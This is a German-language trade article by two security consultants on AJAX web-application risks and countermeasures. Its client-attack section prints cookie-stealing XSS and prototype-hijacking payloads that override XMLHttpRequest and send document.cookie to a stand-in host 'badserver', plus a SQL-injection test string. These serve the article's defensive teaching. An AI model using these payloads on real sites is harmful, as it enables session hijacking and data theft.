AJAX, aber sicher!

Das so genannte Web 2.0 bringt mit neuen Funktionen auch neue Risiken für Clients und Server. Was der Einsatz von AJAX-basierten Web-Applikationen ändert und welche Sicherungsmaßnahmen möglich und erforderlich sind, erläutert dieser Beitrag.

Von Oliver Karow und Richard Sammet, Wiesbaden

Der Begriff AJAX wurde bereits 2005 mit dem Artikel „AJAX: A New Approach To Webapplications" von Jesse James Garrett kreiert – und gleichzeitig begann ein neuer Trend in der Entwicklung von Web-Applikationen. Mittlerweile kommt kaum noch eine moderne Web-Anwendung ohne AJAX aus.

AJAX selbst beschreibt keine wirklich neue Technik und auch kein Produkt, sondern ist lediglich eine Bezeichnung für die Kombination unterschiedlicher Verfahren, die schon seit Jahren existieren. Doch offenbar erst mit der Einführung des Begriffes AJAX wurden sie für Entwickler „greifbar", die Vorteile ihrer kombinierten Nutzung ersichtlich und der Entwickler-Community erschloss sich ein breites Verwendungsspektrum.

Dass mit AJAX nicht nur Vorteile, sondern auch neue Sicherheitsrisiken verbunden sind, hat vielen Internetnutzern der MySpace-Wurm Samy gezeigt: Samy war der erste offiziell bekannte Wurm auf AJAX-Basis und pflanzte sich fort, indem er eine einfache Cross-Site-Scripting-(XSS)-Schwachstelle in einer Funktion des Webportals MySpace ausnutzte, die für Benutzerprofile zuständig ist.

Hintergrund

AJAX bedeutet Asynchronous Javascript and XML. Schaut man sich die zugehörigen Techniken genauer an, so offenbaren sich bereits die ersten Auswirkungen auf die Sicherheit: Um die Asynchronität der Kommunikation zwischen Browser und Web-Anwendung realiseren zu können, wird das XMLHttpRequest-Objekt des Browsers verwendet, das mittels Javascript (und anderer Script-Sprachen, etwa VBScript) zu steuern ist. Dieses Objekt ist im Internet Explorer vor Version 7 in Form einer zusätzlichen AktiveX-Komponente enthalten, während es bei anderen Browsern wie Firefox und Internet Explorer 7 nativ in der Browser-Engine implementiert ist.

Um das XMLHttpRequest-Objekt verwenden zu können, muss in den Sicherheitseinstellungen des Browsers die Ausführung von Javascript erlaubt sein. Diese Einstellung wiederum hat Auswirkungen auf die Gesamtsicherheit des Browsers, denn viele Angriffe gegen Webbrowser basieren auf der Ausführung von Scriptcode. Ein Unternehmen, das eine AJAX- oder Javascript-basierte Applikation betreibt, muss den zugehörigen Webserver in die vertrauenswürdige Zone des Internet Explorers seiner Clients aufnehmen , sofern man nicht jeder Website die (evtl. riskante) Ausführung von Skripten gestatten will. Bei anderen Browsern sollte hierzu ebenfalls – so vorhanden – die sitebasierte Zuweisung von Rechten genutzt werden.

Unter anderem erfreut sich AJAX deshalb so großer Beliebtheit, weil es einen Browser in die Lage versetzt, dem Anwender einen ähnlich hohen Bedienkomfort wie eine Desktop-Anwendung zu bieten. Realisiert wird dies hauptsächlich durch zwei Mechanismen: Zum einen ist die AJAX-Engine (dargestellt durch das XMLHttpRequest-Objekt) in der Lage, im Hintergrund kontinuierlich Daten mit dem Web-Server auszutauschen, ohne dass der Benutzer eine Aktion ausführen muss – in der Regel bekommt der Anwender von dem Datenaustausch nicht einmal etwas mit. Dadurch können Inhalte der Webseite regelmäßig ohne Durchführung eines Seiten-Refreshs durch den Benutzer aktualisiert werden.

Zum anderen stellen moderne Web-Browser quasi eine komplette Entwicklungsumgebung dar, die komplexe Anwendungen unter Zuhilfenahme von Javascript/VB-Script, DOM, DHTML und Anderem realisieren kann. Dies ermöglicht es, bei der Entwicklung von Applikationen Teile der Anwendungslogik auf den Client auszulagern. Zwar lässt sich dadurch Rechenzeit auf dem Anwendungs-Server einsparen, jedoch entsteht ein erhebliches Risiko, wenn man beispielsweise bei der Entwicklung eines Online-Shops die Berechnung des Kaufpreises auf dem Client durchführt.

Server-Risiken

Hier gilt eine der Faustregeln sicherer Systementwicklung: Benutzereingaben sind nicht vertrauenswürdig! Alles, was der Web-Browser verarbeitet, kann vom Anwender manipuliert werden, bevor es zum Server geht. Grundsätzlich sollte man sensitive Daten also nur auf dem Server bearbeiten. Lässt sich eine Auslagerung auf den Client nicht

vermeiden, so ist eine serverseitige Prüfung unerlässlich.

Asynchrone Kommunikation

Die asynchrone Kommunikation zwischen Browser und Web-Applikation kann zudem Denial-of-Service-(DoS)-Angriffe gegen die Web-Applikation ermöglichen. Ein Beispiel: Bei einer klassischen Web-Anwendung wird der Benutzer bei der Suche in einem Online-Shop den Suchbegriff vollständig in ein Textfeld eingeben und danach einen Button anklicken, um die Daten vom Browser zum Server zu senden. Die Anfrage wird einmalig vom Server verarbeitet, das Ergebnis zurückgesendet und dargestellt. Für höheren Bedienkomfort könnte man in einer AJAX-basierten Applikation das Textfeld um eine Auto-Vervollständigung erweitern: Mit jedem Buchstaben, den der Benutzer eingibt, zeigt der Browser dann einen Vorschlag an, um die Eingabe zu vervollständigen. Hierzu sendet die AJAX-Engine im Hintergrund nach jedem eingegebenen Buchstaben eine Anfrage zum Server.

```
1: var myXMLHttp= false;
2: if (typeof XMLHttpRequest != 'undefined') {
3:     myXMLHttp= new XMLHttpRequest();
4: }
5: if (myXMLHttp=) {
6:     myXMLHttp.open('GET','suchen.php?query=KES')
7:myXMLHttp.onreadystatechange=function () {
8:     if (myXMLHttp.readystate==4){
9:           alert (myXMLHttp.responseText);
10:          }
11:    };
12:    myXMLHttp.send(null);
13:}
```

Codebeispiel 1: Kommunikation über Sub-Requests

Gegenüber klassischen Verfahren erhöht sich – wie im genannten Beispiel– die Anzahl der Anfragen und Antworten bei vielen AJAX-Applikationen enorm. Multipliziert man das dann mit mehreren tausend gleichzeitig aktiven Benutzern, so kann eine Web-Applikation schnell an die Grenzen ihrer Leistungsfähigkeit gelangen. Um ein solches Risiko zu vermeiden, ist ein ausführlicher Lasttest der Applikation unumgänglich – insbesondere dann, wenn eine bestehende Applikation auf AJAX umgestellt wird.

Sub-Requests

Betrachtet man AJAX-Applikationen im Hinblick auf die bekannten Angriffe gegen Web-Anwendungen, wie beispielsweise SQL-

Empfehlungen für AJAX-Applikationen

_____ Kritische Teile der Anwendungslogik (z. B. Warenkorb) sollten nicht clientseitig realisiert werden.

_____ Strenge Eingabefilterung aller vom Server entgegengenommenen Daten.

_____ Serverseitige Implementierung von Sicherheitsmaßnahmen und –prüfungen – keine Auslagerung auf den Client.

_____ Die Anzahl der AJAX-Sub-Requests sollte so gering wie möglich gehalten werden, um die Angriffsfläche zu reduzieren.

_____ Session-Daten (z. B. Cookies) sollten auch bei AJAX-Sub-Requests ausgewertet werden.

_____ Libraries/Funktionen im Client-Side-Javascript-Code, welche direkte Cross-Domain-Requests erlauben, sollten nicht verwendet werden.

_____ Sofern der Zugriff auf Daten außerhalb der applikationseigenen Domain notwendig sein sollte, so wird der Einsatz serverseitiger Proxies empfohlen. Die über den Proxy zu erreichenden Zielsysteme sind mittels Access-Control-Listen einzuschränken.

_____ Auf die Verwendung von JSON als Format zur Datenübertragung sollte aufgrund der bestehenden Sicherheitsrisiken (JSON/Javascript-Injections,JSON-Callback-Attacks usw.) verzichtet werden.

_____ Um Cross-Site-Request-Forgery-Angriffe erfolgreich verhindern zu können, wird empfohlen, bei allen Formularen und Links eindeutige und nur einmal gültige Tokens zu übergeben.

Injection, Directory Traversal oder Cross-Site-Scripting (XSS), so zeigt sich serverseitig kein wesentlicher Unterschied in der Verwundbarkeit. Gleiches gilt auch für AJAX-Anwendungen, die ihre Daten mittels XML an Web-Services übertragen. Hier kommen spezifische Angriffe, wie beispielsweise Xpath-Injection, genauso zum Tragen wie bei klassischen Web-Applikationen.

Allerdings ändert sich der Angriffsvektor: AJAX-basierte Anwendungen senden Daten in Form so genannter Sub-Requests, die mittels Javascript-Code auf dem Client erstellt werden. Ein solcher Sub-Request wird in Zeile 6 des Codebeispiels 1 definiert und in Zeile 12 abgesendet. Der Rest des Codes erstellt ein XMLHttpRequest-Objekt, empfängt die Server-Antwort und gibt sie in einer Alert-Box aus.

Wie deutlich zu sehen ist, wird ein GET-Request mit dem Parameter query und dem Wert KES an das Script suchen.php auf dem Web-Server gesendet. Um dieses Script auf die genannten Schwachstellen zu testen, braucht ein Angreifer den Wert KES lediglich durch angriffsspezifische Muster zu ersetzen. So würde beispielsweise der nachfolgende Request eine SQL-Fehlermeldung verursachen, sofern die Applikation für SQL-Injections anfällig ist:

```
6:      myXMLHttp.open('GET',
'suchen.php?query="%20or%20');
```

Da sich aus Sicherheitssicht AJAX-Applikationen serverseitig nicht wesentlich von klassischen Web-Applikationen unterscheiden, sind vergleichbare Sicherheitsmechanismen zu implementieren. Diese bestehen vor allem aus einer strengen Filterung von Benutzereingaben sowie einer konsequenten Authentifizierung beim Zugriff auf Server-Ressourcen (Skripte, Dateien etc.). Gerade bei der massiven Verwendung von AJAX-Sub-Requests ist die Versuchung groß, für die verarbeitenden serverseitigen Skripte nicht die gleichen aufwändigen Sicherheitsmechanismen (Authentifizierung, Autorisierung, Input-Filterung usw.) anzuwenden wie für Server-Skripte, welche klassische Requests bearbeiten.

Sub-Requests können im Übrigen nur im Sicherheitskontext (Protokoll, Subdomain, Zielport) der restlichen Web-Anwendung gesendet werden. Daher muss man bereits in der Designphase einer Applikation feststellen, ob auch sensitive Daten per AJAX-Sub-Request übertragen werden. Ist dies der Fall, sollte die komplette Applikation nur über Secure Sockets Layer (SSL) erreichbar sein – ein Wechsel der Protokolle innerhalb einer Anwendung ist grundsätzlich nicht möglich. Ein AJAX-Request, der Benutzername und Passwort enthält, etwa

```
myXMLHttp.open('GET',
'login.php',false,'admin',
'secretpassword');
```

sollte folglich niemals in einer ungesicherten Verbindung verwendet werden.

Während sich Risiken serverseitig kaum ändern, erreichen clientseitige Angriffe eine neue Dimension: Aufgrund der eigenstän-

Codebeispiel 2: Beispielhafter Spionage-Angriff durch Ersetzen eines AJAX-Kernobjekts

```
1: var xhr = XMLHttpRequest;
2: XMLHttpRequest = function() {
3:      this.xml = new xhr();
4: image=document.createElement('img');
5:      image.src="http://badserver/datagrabber.
php?cookie=" + document.cookie;
6:      return this;
7: }
```

digen, im Hintergrund ablaufenden Aktivitäten der AJAX-Engine können sich Angriffe auf den Client, beispielsweise durch Cross-Site-Scripting (XSS), dauerhaft im Browser einklinken. Damit stellen sie ein deutlich höheres Risiko dar als bei klassischen Applikationen. Cross-Site-Scripting-Angriffe vor AJAX hatten grundsätzlich eine sehr kurze Lebensdauer: Klickte ein Benutzer auf einen modifizierten Link, so wurde der darin eingebettete Script-Code einmalig ausgeführt. Für eine längere Lebenszeit im Browser musste man mit allerhand Tricks arbeiten, was sowohl das „Risiko" der Angriffserkennung durch den Benutzer als auch die Komplexität des Angriffs erhöhte – und somit dessen Fehleranfälligkeit (Längenbegrenzung des Scriptcodes, Eingabefilterung etc.).

Mit AJAX ist es wesentlich einfacher möglich, Script-Code in den Browser einzubetten, der so lange im Hintergrund läuft, bis der Browser beendet wird. Damit sind beispielsweise Angriffe denkbar, die mittels einer XSS-Attacke alle beim Surfen des Benutzers anfallenden Daten im Hintergrund zum Angreifer senden. Eine Methode, die einen solchen Angriff ermöglicht, ist das Prototype-Hijacking: Dabei nutzt ein Angreifer die Möglichkeit Scriptcode zu injizieren, um bestehende Objekte zu modifizieren oder zu überschreiben (der objektorientierte Ansatz von Javascript verwendet Prototypen statt Klassen, daher der Name).

Angriffsziel: Client

So würde beispielsweise das Code-Beispiel 2 das AJAX-Kernobjekt XMLHttpRequest durch eine eigene Funktion ersetzen. Diese kreiert eine eigene Instanz des XMLHttpRequest-Objekts (Zeile 3), um die Kommunikation mit der Applikation nicht zu unterbrechen und zusätzlich den aktuellen Session-Cookie an den Server des Angreifers zu senden (Zeile 5).

Der vergleichbare konventionelle XSS-Angriff würde beispielsweise so aussehen:

```
http://goodserver/vulnerab-
lescript.php?item=<script>im
age=document.createElement(
'img');image.src=%22http://
badserver/datagrabber.
php?cookie=%22%2Bdocument.
cookie;</script>
```

Ein Klick auf einen derart modifizierten Link würde jedoch nur einmal den Session-Cookie an den Angreifer senden. Der nachfolgende AJAX-Angriff würde sich hingegen persistent in den Browser einklinken und bei jedem Aufruf des XMLHttpRequest-Objekts den Session-Cookie an den Angreifer senden:

```
http://goodserver/vulnerab-
lescript.php?item=var xhr =
XMLHttpRequest;XMLHttpRequ
est = function() {this.xml
= new xhr();image=document.
createElement('img');image.
```

```
src="http://badserver/data-
grabber.php?cookie=" + docu-
ment.cookie;return this; }
```

Dieses Beispiel für Cross-Site-Scripting (XSS) und Prototype-Hijacking zeigt gleichzeitig eine mögliche Durchbrechung der so genannten Same-Origin-Policy des Browsers, ein in den Browser integrierter Sicherheitsmechanismus, der dafür sorgt, dass ein Skript von beispielsweise example.com nur auf Ressourcen (Objekte, Dateien etc.) der gleichen Domain zugreifen kann. Damit soll verhindert werden, dass ein Angreifer durch Einschmuggeln eines Skripts zum Beispiel Daten des Benutzers auslesen und an einen dritten Server weiterleiten kann.

In dem oben angeführten Beispiel dürfte also das Skript, das von dem Server „goodserver" geladen wurde, gar keine Daten an den Server „badserver" weiterleiten. Dass dies dennoch funktioniert, liegt an der Verwendung des Image-Objekts, um in den genannten Beispielen Daten an das Skript datagrabber.php zu senden. So geht der Browser davon aus, dass es sich bei der angesprochenen Ressource um ein Bild handelt. Würde ein Angreifer in Codebeispiel 2 anstelle des image.src-Tricks die normalen XMLHttpRequest-Methoden *open* und *send* verwenden, so würde die Same-Origin-Policy greifen und den Angriff verhindern.

Angriffe dieser Art können nur unterbunden werden, wenn seitens der Web-Applikation eine strenge Filterung von Script-Code erfolgt. Hierbei sind natürlich auch die gängigen Encoding-Verfahren zu berücksichtigen, die Angreifer gerne zum Umgehen serverseitiger Eingabefilter verwenden.

Frameworks und Libraries

Da die Entwicklung von AJAX-Applikationen sehr komplex werden kann, hat sich die Verwendung von Frameworks und -Libraries durchgesetzt, um Programmierern die Arbeit zu erleichtern. Der Funktionsumfang dieser Frameworks reicht vom bloßen Generieren des für AJAX benötigten Client-Side-Javascript-Codes bis hin zum Session-Management für AJAX-Sub-Requests. Viele der verfügbaren Frameworks wurden jedoch nicht mit Fokus auf sichere Programmierung entwickelt; daher wurden in jüngster Vergangenheit in bekannten Frameworks etliche Sicherheitsprobleme wie beispielsweise Cross-Site-Request-Forgery (CSRF), JSON-Injections, JSON-Callback-Attacks und Javascript-Injections entdeckt.

Damit AJAX-Anwendungen nicht automatisch die Schwachstellen der verwendeten Frameworks erben, ist zumindest darauf zu achten, stets aktuelle Versionen zu verwenden, für die keine Sicherheitslücken bekannt sind. Des Weiteren empfiehlt es sich, nicht-benötigte Javascript-Code-Funktionen zu entfernen, die im Framework erstellt oder in einer Library enthalten sind, und so die Angriffsfläche minimal zu halten.

Fazit

Viele der genannten Risiken existierten in der einen oder anderen Form auch schon vor AJAX. Aus Sicht eines Sicherheitsverantwortlichen hat jedoch die Komplexität von Anwendungen insbesondere auf der Client-Seite stark zugenommen – entsprechend erhöht sich der Aufwand bei der Umsetzung bestehender Sicherheitsrichtlinien. Werden die aus der Softwareentwicklung bekannten Vorgaben sicherer Programmierung konsequent umgesetzt, so sind AJAX-basierte Anwendungen letztlich aber ebenso sicher zu realisieren wie Anwendungen, die auf anderen Verfahren basieren. ■

Oliver Karow und Richard Sammet sind Security Consultants bei Symantec.